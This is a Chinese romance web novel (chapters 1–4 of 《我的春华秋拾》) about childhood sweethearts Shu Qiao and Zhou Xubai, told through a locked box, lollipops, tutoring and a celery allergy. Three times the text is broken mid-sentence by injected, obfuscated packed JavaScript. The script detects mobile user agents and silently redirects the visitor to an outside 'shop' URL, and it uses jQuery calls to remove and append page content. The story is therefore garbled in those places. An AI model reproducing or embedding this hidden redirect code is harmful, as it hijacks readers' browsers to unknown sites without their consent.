《我的春华秋拾》 1. 盒子里的故事 一个平常的午后,舒乔收拾屋子时,在周叙白放东西的木架子上发现了一个生锈的盒子,盒子用五元一把的铁锁锁着。 舒乔掂量了一下,盒子轻轻的,晃动时也没发出太大的声音,第一反应,便是这厮背着她存了私房钱。 她给周叙白发消息,试探了一阵,没问出什么来,便将盒子放回了原处。 一段时间后,舒乔忘了这个盒子,直到有一天小胖子难得放假,带着他养的银渐层来家里玩,小猫活泼好动,上蹿下跳时打翻了这个盒子,“啪”地一声落在地上。 生锈的铁锁断了,盒子里的东西散在地上。 小胖子连忙抱住自家猫主子开训,就像做错事的小孩,家长训了,别人也不好说什么。 舒乔听着他小嘴叭叭,跟机关炮似的输出,笑了笑,叫停他:“行了行了,我还不知道你什么心思。” 小胖子嘿嘿两声,舒乔摸了摸被训的委委屈屈的小猫,拿了小胖子带来的猫条给它吃,安慰了好一阵,这才去收拾盒子。 棕色木质地板上,从盒子落出的东西很显眼—— 一封泛黄的信,还有掉了色的糖纸。 就这些,值得周叙白用铁锁锁着? 舒乔不免疑惑。 她拿起那封信,有些好奇里面的内容,但出于隐私,她没看,将东西收好,放进盒子里,搁回架子上,想着晚上和周叙白说这件事。 一旁沉默的小胖子忽然开了口,“这信,有些眼熟呀?” “嗯?你知道。”舒乔问。 小胖子说:“隐隐约约见过,但记不起了。” “哦。说了当没说。”就像脱了裤子放屁,多此一举。 “你等我想想。”小胖子黑漆漆的眼珠子转了又转。 舒乔拍了拍他的肩头,“好了!别想了,等你想到,黄花菜都凉了。” 她看了看腕上的表:“走啦,请你吃饭去。” “行行行。” 他们出了门,去龙湖天街,上了餐饮楼,进了一家江湖菜馆。 服务生拿了菜单来,舒乔递给小胖子,“我吃过他们家的小米椒爆蛙,还有东坡肉,这两都挺不错的。” 舒乔是老饕,她推荐的东西没得差,小胖子二话没说,直接将这两菜勾上:“我也试试。” 最后,除却舒乔说的两道菜,又点了一份水煮肉片,一份豌豆片炒腊肉,再加上一份滑肉汤。 四菜一汤,两个人吃,妥妥的。 等菜的时候,小胖子还在纠结盒子里的信和那掉色的糖纸,他无意识摸着小猫的头,说道:“那信,谁送的我还真想不起来了,不过我记得这信是周叙白读书的时候收到的,应该是封情书,因为我有印象,周叙白有事没事就拿出来看,笑得还一脸荡漾……” 说了一大段,他忽地一激灵,忙捂着嘴,支支吾吾道:“嗯……也可能不是情书,我不是说有其他女生给他写情书,他还完整的保留着……我是说……我是想说。” 断断续续说了半天也没想到一个好的解释,舒乔道:“快闭嘴吧,越说越黑,周叙白本来一身清白,叫你这样讲,反惹一身灰了。” “是是是。”他疯狂点头,将这一part过了,讲起公司八卦。 “你是不知道,干工地的有多乱。” 小胖子一毕业,就进了“国”字开头的建筑单位。 舒乔没说话,听他讲。 他说:“就我现在那个项目,领工员和小姨子睡一张床。” 舒乔瞪大了眼睛:“这……这……这……真小姨子?” 她知道工地花,但没想过这么花!从前总听“温州皮革场倒闭了,老板和小姨子跑了”,这次……难道吃上真姐夫和真小姨子的瓜了? “你说呢?”小胖子给了她一个意味深长的眼神。 舒乔心领神会,此小姨子非彼小姨子,就像“小姐”,从前是尊称,如今也带了别样的颜色。 “他家里人知道吗?” “知道,肯定知道呀。不过是端着明白装糊涂,”小胖子语重心长说,“他们家两个孩子,都还上小学,这离了,倒霉的是孩子……” 舒乔听完,恶狠狠夹烂了一块肉,“男人,当真没一个好东西。” “别,”小胖子不认可,跟王婆似的,自卖自夸,“我就纯情。” “你,”舒乔翘起了嘴角,从上到下扫他一眼,笑嘻嘻问,“你纯情还是纯零呀?” “胡说,”小胖子急了,“爷们儿纯直。” 舒乔笑得合不拢嘴,小胖子继续说:“这还不算炸裂,更炸裂的还多着。” “比如说。”舒乔好奇。 小胖子讲:“琼枝到安西段一个铁路项目,搞现场的队长和物资的搞在了一起。” “男的结婚了?” 小胖子点头,“女方是死了丈夫,带着个小孩,男的最开始想占便宜,结果沾上了摆不掉了。女的最开始是和一个领导勾搭上的,结果这领导走了,女的就耐上了当队长的男的。” “这男的不想离婚,”小胖子夹了一筷子豌豆片放碗里,接着说,“女的是个泼皮,在工地上到处讲自己怀孕了,然后男的家里知道了嘛,正头夫人直接离了。离了后,这男的也不想娶女的。但这女的是个狠人,直接拿刀砍,硬逼着把证扯了。” 舒乔已经震惊的说不出话了,缓了好久才鼓着掌说:“炸裂,实在炸裂。” “我这还有很多,听吗?” 舒乔疯狂摇头,“得了得了,就到这儿吧,我怕再听下去会得心理创伤。” “夸张了,”小胖子笑了笑,瞬间意味深长了,“周叙白也是搞建筑的,你说……” 舒乔放下筷子,盯着他:“合着您今儿是来拆周叙白的台的,硬是要把白的搞成黑的?” 小胖子摆手:“不背这个锅哈,今儿个还真是凑巧。” “得了,我会把这份凑巧转告他的。” “可别了吧,活爹。” 周叙白那人可记仇了,要晓得他抵黄,准没好果子吃。 “好勒,乖儿子。”舒乔很豪爽的应道。 吃完饭后,舒乔把小胖子送到地铁站,回去的路上接到了周叙白的视频电话。 手机里面,高高瘦瘦的男人穿着黄马甲戴着白色安全帽,正蹲在工地上吃晚饭。 “逃荒去了?”舒乔盯着他帅脸上的黑灰说。 周叙白边吃边讲:“可不嘛,干工地的和乞讨也差不多了。” “今天晚上吃什么?”舒乔问。 周叙白把手机对着餐盒,“醋溜白菜,青椒炒肉,肉沫豆角。” “你昨天说换了个厨师,新厨师炒菜好吃吗?” 周叙白脸一跨:“难吃的要死!要不是为了活着见媳妇儿,我宁可饿死也不吃。” 舒乔一听,立马给他转了个红包,“下班去吃点好的。” 周叙白直接上演“变脸”,“好勒,老婆大人!” 舒乔摸了摸自个儿手臂,很是难评道:“油死了!” “哼,没情趣!” 他两有一搭没一搭的聊着,舒乔慢慢回了家。 路过浴室的时候,舒乔想起了下午的事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126630|196104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转身去了客厅,站在木架子边。 “小胖子的猫把这个搞坏了。”舒乔将镜头对准盒子。 “里面的东西坏了吗?”周叙白神情严肃。 “应该……没有。”舒乔也记不得了。 “你没看?” “你都拿锁锁着了,肯定是极重要的秘密,我怎么好意思……” 舒乔的话还没说完,周叙白就打断道:“舒乔,对你我没有秘密。” 他的表情很正式,不是说假话。 “那我……打开看看。” 周叙白点头。 舒乔将手机立在一旁,把盒子拿下来打开,周叙白最先看到的是糖纸,他问她,“眼熟吗?” “嗯?”舒乔一脸问号,“你说哪个?” “糖纸。” “眼熟啥?”舒乔迷茫地眨巴眨巴眼问。 周叙白轻嗤一声,“就晓得你小白眼狼。” “咋还骂上了?和我有关?”舒乔拿着糖纸仔细想了想,有了印象,激动道,“小学……” 小学的时候特别流行一种揉皱了就能泛出五光十色的糖纸。 舒乔为了搜集这种糖纸,买了许多糖,她一个人吃不完,分了一大半给周叙白,拜托他吃。 “好多年了,”舒乔感叹,同时也不解,“你留着它干嘛?” 周叙白咬牙切齿说:“为了帮你攒糖纸,我长了第一次蛀牙,晚上疼得连觉也睡不好。好不容易吃完了,将糖纸给你,你说不要了。” 学生时代流行的东西来的火热,去的也快。 舒乔想,她不要的原因只有一个,那就是糖纸过时了。 屏幕里,周叙白絮絮叨叨讲:“我那时候气的呀,真想掐你脸!你说我该不该留着,时刻谨记自己这件事?” “哦,记着是吧?” “嗯。记仇。”周叙白诚实道。 但舒乔轻哼一声,美滋滋道:“你才没这么小气呢!” 她猜得到周叙白留下它们的原因,是怕她突然有一天又想要这些糖纸,所以才一直留着,这一留,便是许多年。 说话的时候,舒乔将糖纸叠成了千纸鹤,放进了盒子里。 知道了糖纸的故事了,舒乔指了指信,“这个呢?也和我有关?” “你打开看看。” “哦。” 舒乔翻开封条,抽出里面的纸,墨绿色的稚嫩字迹,开头写着—— 亲爱的周叙白。 舒乔一愣,关于这封信,关于学生时代的故事涌现在脑海里。 “感慨吗?”周叙白挑眉问。 “感慨啥?”舒乔说,“感慨你哄着我,拿你练手,说什么反正我们这么熟了,先给你写封情书,你要是觉得写得好,在写给那……” 过去了许久,舒乔还是记得这封情书的由来,一个让她又气又笑的误会。 明明那时候都没把事情搞清楚,可周叙白说他想要一封情书。她就真的动笔写下了一封。 就像他从不拒绝她的要求,她也一样。 只要周叙白想要,周叙白就能得到。 听了她的话,周叙白笑得好开心,说着:“我挺感慨的!” “你感慨啥?”舒乔问。 他说:“我们经历了很多事,但你还是我周叙白的媳妇儿。” 舒乔被周叙白说这话时的表情逗笑,但不免真的感概—— 时间一点一点流逝,童年的玩伴,读书的故事,都打上了一层灰色的滤镜,但周叙白,在她的生命里,却还是那样的亮丽,因为这个男人,她很喜欢很喜欢。 2. 糖与舒乔 琼枝西岸锣锣巷是一条有些老旧但热闹的巷子,这里住了百户人家,邻里相处和谐,都跟亲人似的,谁家有事,喊一声全来帮忙。 舒乔生在锣锣巷外的妇幼,长在锣锣巷的每个角落,三岁时就在巷子里呼朋引伴。 她记忆里的第一个朋友是小胖子,因为他们两家住对门,他们两也是一前一后出生,尚在襁褓时,就睡一个窝,所以对彼此都很熟悉。 那时候,小胖子的妈妈和舒乔妈妈开玩笑,两个小家伙这么有缘,不如结个娃娃亲。 舒乔妈妈倒是有意,但被舒乔爸爸拒绝了,理由是,不能搞封建。 但舒乔妈妈知道这是借口,实际上是舒乔爸爸舍不得把乖女嫁给任何一个男人。 舒乔记忆里的第二个朋友,是住楼下的李李,她比舒乔小,是个特爱吃的小姑娘,她两读一个幼稚园,上学放学总一路,是比小胖子更亲密的伙伴。 而周叙白呐?她是舒乔记忆里的第N个朋友,因为周叙白家最开始不住锣锣巷,是后搬来的。 舒乔不记得周叙白第一次来幼稚园的场景,但李李告诉她,周叙白穿着背带裤,被漂亮老师牵着手站在讲台上,哄着他介绍自己。 老师问了很多问题—— “宝贝今年几岁了?叫什么名字?喜欢什么?” 小周叙白就答了第二个问题,便屁颠屁颠的跑下讲台,硬挨着舒乔坐。 没错!周叙白从幼稚园的第一眼,连自己都不能很好的控制自己身体的时候,就盯上了舒乔。 因此,长大后的小胖子老说的一句话就是—— “周叙白这厮,从小就不单纯!” 周叙白很喜欢和舒乔玩,但舒乔不喜欢和他玩。倒不是她不喜欢周叙白,主要是这厮总爱揉揉她的头,好几次柔顺的头发,都被他揉得乱糟糟的,像炸毛小狗。 他还喜欢揉揉她的脸颊,很轻,但她不喜欢搓团子的感觉。 因这,舒乔强烈抵抗周叙白,觉得这小男孩哪哪都烦。 那时候,幼稚园最风靡的游戏是做新娘。 小女孩轮流当“新娘”选自己喜欢的小男孩,舒乔选过前桌、后桌,甚至隔壁班的小男孩当新郎,但一次也没选过周叙白。 最开始周叙白还安慰自己,总有一个顺序,下一次就是他了,可直到幼稚园毕业,舒乔也没选他当过新郎,他真的很伤心,老躲在被子里偷偷哭,但实在太伤心了,最后惊动了老师。 老师问他为什么? 他很想说的。 但舒乔走了上来,措不及防的给了她一个拥抱,周叙白便什么都忘了。 后来,无意间提起这事儿,周叙白问她那时候想的什么。 舒乔说:“其实什么都没想。见小朋友哭了,便学着妈妈的样子,抱一抱,希望他不要哭。” 可周叙白不认同,他厚脸皮的说:“承认吧,舒乔乔,你那时也喜欢我了。” 舒乔一巴掌拍他头上,爆了一句琼枝话:“喜欢你个锤子。” 周叙白捂着被打的地方,一脸笑意。 由此,周叙白得了一个外号—— “舔狗。” 这个词于别人而言或许是贬义词,但在周叙白这里是绝对的褒义词,因为每当有人这样说他时,他总一脸自得地回那人—— “我就是坚定的唯舒乔主义者。舔狗这词形容的很对。” 哭泣过后,做新娘的游戏成了周叙白的一根刺,他很想问问舒乔为什么不选择他当新郎。可直到成年后,他们在一起后,他才有勇气问。 舒乔愣了一阵才告诉他答案:“谁让你总欺负我?” 读幼稚园的舒乔傻乎乎的,把周叙白表达喜欢的行为当作了欺负。 “我没有。”周叙白为小时候的自己辩解。流露出一丝委屈。 舒乔赶忙踮起脚尖在他脸颊上落下一吻,哄道:“好了好了,不生气了,虽然那时候没选你,但现在只有你。” 周叙白“哎哟”一声,耳尖尖红红的,揽住她的腰,低下头说:“要亲嘴嘴——” 舒乔一脸嫌弃地叫他滚开。 按照舒乔小时候对周叙白的排斥,“青梅竹马”这词怎么也安不到他们的头上,但一次意外,改变了这种局面。 舒乔从小爱吃糖,四岁的时候因为蛀牙被叫停,从那以后严格控制糖量,所以,很多时候,舒乔都很馋糖。 有一次,周叙白去参加了婚宴,主人家给了礼盒,礼盒里有一根棒棒糖,他觉得样子很好看,就拿到幼稚园给舒乔。 那时候的舒乔已经很久没见到糖了,当周叙白将那根棒棒糖递给她时,她眼睛都亮了,像黑夜里挂在天幕的星星。 周叙白这小子打小就聪明,虽然那时候才四岁半,但人贼精,见她这模样,忙问:“乔乔喜欢吃糖糖吗?” 舒乔啃着棒棒糖点头,那一次后,她看周叙白的眼神变了。在她心目中,周叙白就像现在年轻人最爱的财神爷。而那时的周叙白是她的糖神。 周叙白拿捏了舒乔的喜好,之后每天都带一根棒棒糖去学校。 那个年代的人不富裕,小孩子没零花钱,但周叙白的爸妈是生意人,每天都给他五毛钱。 不知道舒乔爱吃糖时,这五毛钱周叙白都搁在小猪存钱罐里存着,知道之后,这五毛钱就成了楼下小卖部的了。 因为棒棒糖,舒乔成了周叙白的小跟班,上学要跟他一起,放学也要跟他一起,他第一个朋友小胖子被抛在脑后,最好的玩伴李李也逐渐疏远。 因这事儿,后来的小胖子和李李总吐槽她—— “你是一个可以为了吃而卖灵魂的人!” 舒乔总不好意思说:“那是年纪小,不懂事,你看看我现在还上周叙白的当吗?” 李李肯定道:“会!不是姐妹你不聪明,而是周叙白老奸巨猾。” 他总有万千手段可以夺走舒乔的目光。 当然,好朋友的吐槽不是罪致命的,最致命的是,她和周叙白在一起后,这段故事演变成了—— 周叙白的媳妇儿,是靠小时候每天一根棒棒糖哄来的。 舒乔当然不承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126631|196104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认了,还觉得丢脸,但周叙白觉得没毛病,甚至还大言不惭说棒棒糖是他的“媒婆”,没有棒棒糖,上幼稚园的舒乔都不带理他的。 因为每天吃糖,舒乔又长蛀牙了,疼的哇哇叫。 舒乔妈妈很是不解,家里都没买过糖了,舒乔怎么还能长蛀牙?便问她哪里来的糖,是不是爸爸偷偷给她吃了。 舒乔说不是,抖出了周叙白。 有小孩愿意分糖给舒乔吃,说明他喜欢舒乔,要是舒乔长了一口好牙,舒乔妈妈不会拦着,但坏就坏在,舒乔一口牙都要烂完了,再不干涉,以后真成了缺牙小姑娘了。 因此,舒乔妈妈第一次敲开了周叙白家的大门,很是委婉地同他说:“小白,阿姨知道你是喜欢乔乔才给她糖吃,但乔乔有点特殊,她一吃糖就长蛀牙。所以阿姨想请你别给她糖吃了可以吗?” 周叙白拍着胸脯点头,保证以后再不给舒乔糖吃,甚至还为了讨好舒乔妈妈,成了最严格的督促者,直到舒乔读小学四年级,真是一颗糖也没吃过。 舒乔这边因牙疼而哭得整晚睡不着觉,周叙白却坐在椅子上和爸妈宣扬,“你们以后见到舒乔妈妈一定要多打招呼。” 周爸爸和周妈妈愣愣地看着他,异口同声问为什么。 周叙白人小鬼大道:“因为以后我要娶乔乔当老婆。” “哟,小屁孩一个,知道什么是喜欢吗?”周爸爸逗他。 周叙白点头,很有见解的说:“喜欢就是见不到就想她,想和她一直一直在一起。不能见她哭,想把一切好东西都给她。” 周妈妈含笑点头,正想说他讲得挺好时,周叙白猝不及防来了一句:“妈妈,我打算把你买的金戒指拿到学校去,送给舒乔。” 音落,周叙白就收到了亲妈的问候,并告诉他:“要追女孩子,就要自己努力赚钱。妈妈买的是妈妈的,只有你买的才是喜欢的女孩子的。” 周叙白记住了这段话,所以学习越发刻苦,成了锣锣巷大人口中“别人家的孩子”。 他读初中的同桌问他成绩为什么这么好。 周叙白想都没想就讲:“为了挣奖学金给舒乔买喜欢的东西。” 这事还是舒乔毕业后陪周叙白参加他的初中同学聚会,一个戴眼镜,穿格子衫的男生给她说的。 他还说,那话是周叙白当年说的原话。 那场同学聚会结束后,舒乔和周叙白回去的路上,遇见了红绿灯,车子停在斑马线后面,舒乔问他,究竟是什么时候喜欢上她的。 周叙白扭头看向她,眼里满是温柔:“幼稚园见你的第一面。” 他至今都记得去到幼稚园的那天,满屋的小孩他第一眼就落在了舒乔的身上,因为她很独特,其他小孩子都盯着他看,而她用胖乎乎的小手撑着自己的脑袋,晕晕欲睡。 周叙白不知道小孩子有没有一见钟情这一说法,但他可以肯定的是,真的从幼稚园的第一面,他此后的生命里就只有舒乔了。 他喜欢舒乔,可以骄傲的说喜欢了二十几年,直至生命终结也不会停止。 3. 小小阴谋家 幼稚园的快乐结束于蝉鸣的盛夏。对于离别,舒乔懵懵懂懂,还是等着踏进小学校门那刻,才发现以前熟悉的伙伴不见了。 她迟来的情绪在那一刻爆发,问妈妈,从前的小朋友们去哪里了。 妈妈告诉她,他们要去走自己的路了,如果有缘,舒乔还会和他们见面。 舒乔把这句话铭记于心,所以高中毕业那个暑假,和周叙白吵架吵到各奔东西的时候,她也觉得他们还会见面,不会彻底崩盘。 小学不像幼稚园轻松,老师只教最简单的知识。一年级一整年,舒乔还能跟上老师讲课的速度,成绩勉勉强强,不算太好,也不算太差。 当然,与周叙白全年级第一的成绩一对比,舒乔的成绩就有点不像样。 舒乔妈妈有些急,时不时念叨—— “明明是一个班的,同样的老师授课。乖宝,你和小白的区别咋就这么大呢?” 妈妈说话的时候,舒乔正抱着鸡腿啃的起劲儿,听见声音后仅仅是转头,迷茫地看着她。 瞧女儿一副什么都不知道的小表情,舒乔妈妈叹了口气,摸摸她的头说:“乖宝,你还是啃鸡腿吧。这身体和成绩,总要有一点拿的出手。” 对比前者,舒乔妈妈更希望她身体健康。 上二年级的时候,舒乔语文成绩还能保持中等,但数学成绩一落千丈,舒乔妈妈发愁,担心舒乔以后上不了大学。 舒乔爸爸安慰她:“孩子还小。这以后的事儿,谁说得准?” 的确,中间还隔了一个初中和高中,可舒乔妈妈怕万一,万一呢? 舒乔爸爸倒是自信:“没有这个万一。” 他百分百相信她闺女成绩不会差。 舒乔妈妈:“我和你讲不通。” “唉……这……” 舒乔妈妈还是望女成凤,打算报补习班给舒乔补补。 正打听哪家补习班好时,周叙白带着他妈妈跳了出来。 周妈妈先是拉着舒乔妈妈拉家常,等着舒乔妈妈主动说起舒乔成绩的事儿,周妈妈在旁边顺势说:“让我们家叙白给乔乔补课呀。他两一个班的,又熟悉,比补习班好多了。况且,补习班的老师水平参差不齐,万一越学越低怎么办?” “是啊!”舒乔妈妈迟迟没决定,就是怕碰到不负责任的老师,越学越低。 可让周叙白给舒乔补课…… 舒乔妈妈的目光落在他的身上,周叙白拍拍胸脯道:“阿姨你放心,我一定能带着乔乔进步。” “要不然就试试?”周妈妈又讲。 舒乔妈妈本来还有些犹豫,但周妈妈都说试试了,她也就同意了。 舒乔不知道为什么补习班会变成周叙白家,大老师变成周叙白这个小老师。 她只知道,吃完爸爸做的饭后,她再也没在家待过,总是很准时的被送往周叙白的家。 直到有一次,舒乔的表姨来家里,吐槽她家孩子的成绩时,舒乔妈妈顺口一提,她才晓得还有这一出。 不过,周叙白是怎么说动周妈妈的呢? 舒乔很好奇,问那厮。 他没脸没皮地讲:“很简单。我给我妈说,舒乔是巷子里最好看的女生。要是我们不从小培养感情,以后我要是追不上她,就只能孤独一辈子了。” 舒乔听得嘴角抽搐,不可置信地问了一句:“你妈还真信了?” “信呀,怎么不信。” “好吧,我没话说了。” 舒乔自从去周叙白家补课后,成绩上升的很快,不光数学从倒数排到了中等,语文也提升了不少。 舒乔妈妈很开心,总在家里夸周叙白是个聪明孩子,舒乔有这样一个小老师,真是赚大了。 舒乔不乐意了,嘟着嘴和妈妈说:“我也很聪明好不好?” 妈妈抱起她,举高高,也夸她:“对,我们小乔乔也聪明。” 舒家闺女成绩提升的事在巷子里传开了,有着相同苦恼的家长们找上了舒乔妈妈,问她给女儿找的哪个补习老师。 舒乔妈妈如实相告,说没找老师,找的周叙白。 “周家那小孩这么厉害呀?你莫不是骗我。”这位家长不怎么相信道。 “骗你做什么。我说的是真的,你在这周围随便一打听,就晓得我说真话假话了。” 这家长不说话了,和舒乔妈妈乱扯了几句就走了。 回到家的舒乔妈妈也很好奇闺女成绩怎么提升的这么快,便敲开了舒乔的放门,坐在她身边问:“补课的时候小白都怎么教你的?” “嗯?”舒乔不太理解,“妈妈想问什么?” “想问宝贝成绩为什么提升的这么快。” 舒乔说:“小白讲的好,我开窍快,就提升了呀。” 舒乔妈妈一听,乐呵起来,捧着闺女的脸亲亲,还夸道:“我闺女真棒。” 当天晚上补课时,舒乔把这件事说给周叙白听,还讲:“我把妈妈糊弄过去了。可没讲是为了和做你同桌,抄你作业才努力学习的哦。” 周叙白十分捧场地鼓掌,用很夸张的语气说:“乔乔好厉害呀!” 舒乔害羞的红脸,但强调:“你要说话算话哦,只要我努力学习,和你做同桌,你就得一直给我抄作业。” “我不会骗乔乔的。” 是的,舒乔进步飞速的真正原因就是这么朴实无华,因为周叙白承诺可以给她抄作业。 这样一个条件,对懒懒的舒乔而言太诱人了,所以成了学习的最佳动力。 可小小的舒乔不知道的是,周叙白的那句话本身就是陷阱。舒乔如果一直想抄作业,就要一直努力和周叙白当同桌。 想通这一点还是某个阳光灿烂的午后,周叙白见她似笑非笑的样子,问她怎么了,舒乔一下子扑进他的怀里,仰头掐住他的脸,大喊:“周叙白,我真是从小就被你套路。” “嗯?”周叙白不明所以,“我套路你什么了?” 舒乔说:“小学。补课。你说让我和你做同桌,就给我抄作业。” “就这事儿?”周叙白还以为是什么大事呢。 “嗯,”舒乔气鼓鼓指控他,“骗子。” 周叙白却笑着:“现在才想明白?这反射弧也太长了吧。” “不想和你说话,骗子。” 舒乔要离开他的怀抱,周叙白不让,揽住腰往前一带,舒乔猝不及防撞进了他深邃的眼眸。 漆黑的瞳孔映着舒乔的身影,他的眼睛盛满了温柔,快要溢出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126632|196104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>舒乔没来由地红脸,像打了一层薄薄的腮红。 周叙白低下头,他们的呼吸纠缠在一起,热热的,温度逐渐升高。 “乔乔我想吻你。”他的嗓音低沉,被“情”字裹挟,浓郁地像黑巧。 舒乔傻乎乎地看着他,他的吻落在了她的唇上。 那一下午,他们度过的非常愉悦。 嗯,舒乔被折腾地半死不活的想。 二年级上期期末考试,舒乔如同一匹黑马,一下子夺得年级第二的桂冠,彻底带火了周叙白这个小老师。 巷子里的其他邻居纷纷找上周妈妈,向要找周叙白给自家小孩补课。 但周妈妈都拒绝了,理由是:“我们家小白和乔乔是一个班的,所以效果才这么好。换其他人,我不能保证效果,万一耽误了孩子怎么办?” 邻居仔细一想,在理,便消了这个念头。 这就是为什么周叙白在巷子里负有盛名,却只有舒乔这一个学生的原因。因为其他潜在学生,都被周妈妈打发走了。 因为这个,周叙白一直很感谢妈妈,为他的爱情之路保驾护航。 所以,到了结婚那天,当着众多宾客的面,周叙白状似感恩,实则炫耀道:“谢谢我有一个不反对我早恋的母亲。她不认为小孩子的喜欢是说着玩的。她很重视,这才有了我的今天。” 众宾客都笑,唯有一人咬碎了牙齿,那就是舒乔爸爸—— 原来自家的白菜,好早就被猪预谋了。 老泰山心里极度不平衡,发誓要给他一点教训,所以每一次周叙白上门,总有一道芹菜炒牛肉放在他的面前。 这是一道极美味的菜,奈何周叙白芹菜过敏。 而这件事呢,要从舒乔四年级和周叙白一起参加一个女同学的生日宴说起。 舒乔吃饭一直都慢,女同学的妈妈为了照顾她,时不时给她夹菜。其中有一道菜里放了芹菜,小时候的舒乔不喜欢吃,偷偷地放在了周叙白碗里。 周叙白从不嫌弃舒乔,夹起芹菜就吃,当时没有发作,是等到回去后,他忽然喊痒,周妈妈这才注意到,他的脖子、手上红成一片。 周妈妈脸都吓白了,忙带周叙白去医院。 舒乔是第二天早上去学校一直没见到周叙白才晓得他出事了。 作为一直上下学的好朋友,舒乔一放学就带着妈妈去医院看周叙白。 大人忙着寒暄,舒乔坐在周叙白病床边,问他是怎么生病的,好些了吗? 周叙白说:“芹菜过敏。但不是先天的,是后天的。已经好多了。” “啊——”舒乔想起了那天自己偷偷放他碗里的芹菜,以为是自己害了她,一下子哭了出来,抱着周叙白絮絮叨叨说,“是我对不起你,是我害了你。” 两位妈妈见了这阵仗,一愣一愣的。 而周叙白第二次被舒乔抱,滋个大牙傻乐。 舒乔后来采访他当时的心情,问他究竟怎么笑得出来。 周叙白挠挠头讲:“就是高兴呀。你又抱我了。” 舒乔无奈中又带点心疼,同他说:“别太恋爱脑行吧。周叙白,有点脾气吧。” “没脾气,”周叙白紧紧握住她的手说,“舒乔,对你我一直没脾气。” 4. 小学的二三事 如果说要回忆往事,舒乔和周叙白的小学时代,绝对有的聊。 例如,某一个大雪天,两个人凑在巷子里的杂货店,蹭老板燃的火炉取暖,舒乔把右边衣袖烧一个洞,周叙白把左边衣袖烧一个洞。 舒乔吓的要死,周叙白却说:“舒乔乔,你看我们多配呀。就连这个也是一对。” 舒乔没心情听他说这些,忧心道:“才买的衣服,妈妈会骂我的。” 周叙白拍拍胸脯,小小男子汉挺身而出:“别怕,我保护你。” 而老板呢?在里间闻到烧焦的味道,忙端了水往炉子泼,两个小孩躲闪不急,衣袖被烧的同时,又沾了一身水,舒乔只觉天塌了。 老板却是万幸,幸好两小孩没事儿,但免不了生气,把这事儿说给舒乔妈妈和周妈妈听,并立个牌子,上写—— 小孩子不准进屋烤火。 两位妈妈觉得这是个大事儿,都不等回家,就耳提面命两个小孩。 所以那一天锣锣巷的人们就看见周叙白抱着舒乔挨骂。 为什么是抱着呢? 因为周叙白说过要保护舒乔。 有爱说笑的邻居见了这一幕,聚一块儿聊道:“两小孩感情好,结个娃娃亲也不错。” 也是这话周叙白没听见,不然高低给他们磕一个。 这事儿外,便是两个小孩学着大人喝酒,喝醉了说胡话,一个说要变成猪猪侠,一个说要变成猪猪侠的棒棒糖。前者是舒乔,后者是周叙白。 你看,周叙白这个人就算是醉了,还惦记着舒乔。 他真的满心满眼只有舒乔。 两位妈妈被童言童语逗笑,也不急着抱孩子回家,还哄着他们:“除了猪猪侠和棒棒糖,还想变什么呢?” “变哪吒三太子。”舒乔吼的最大声。 周叙白紧跟着:“那我做乔乔手上的乾坤圈,指哪打哪。” “好呀好呀。”舒乔十分赞同,然后头一晕,倒进妈妈怀里。 周妈妈却没眼看,揉了揉周叙白的小脸蛋说:“有点出息好吧。” 真是人小姑娘变什么,他就跟什么。 小小年纪就舒乔脑,长大后还得了? 周叙白没听见妈妈的话,只一味地傻乐。 “傻儿子。”周妈妈叹了口气,知道这是真没救了。 一边哄着女儿的舒乔妈妈只听到这一句话,不明所以问:“哪里傻了?” 又言”:你要是嫌弃的话,不如让小白来当我的儿子?” 多年以后,舒乔妈妈的话一语成谶,周叙白还真当了她半个儿子。 六年级上期的寒假是最值得一提的,因为临近新年,因为舒乔和周叙白有了一个属于两个人的小秘密。 锣锣巷过年最是热闹,半数街坊不在家里待着,而是搬着凳子坐在巷子里摆龙门。 这个时候还没有烟花禁令,巷子里的小朋友们成群结伴玩炮竹。 小胖子因为体格的原因是锣锣巷小朋友里面的孩子王。他喜欢打仗游戏,所以小朋友们都玩打仗游戏。每年如是。 不过,舒乔不在小朋友的行列里,因为她不喜欢动,总是在家里待着。 周叙白也是其中的例外,倒不是不喜欢,而是游戏和舒乔,他毫无疑问选后者。 舒乔最重要。 周叙白一直这样想。 年三十晚上热闹会加倍,鞭炮声不绝,通常是一个还放着,另一圈就被点燃了,此起彼伏。 绚丽的烟花更是一朵接一朵在天上炸开,蓝的、紫的、红的,耀眼夺目。 自从周叙白家搬到锣锣巷起,年夜饭后必到舒乔家去。不认路时,周叙白会拉着爸爸妈妈一块儿,认路后便成了他一个人去。 这目的嘛,不言而喻,自然是找舒乔。 舒乔妈妈一见他来,便热情地招呼:“可算来了,乔乔吃饭的时候还念叨着。” 等周叙白上门也成舒乔心里最重要的事儿。 